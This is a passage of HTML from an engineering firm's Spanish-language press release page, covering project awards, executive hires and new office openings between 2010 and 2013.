por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las 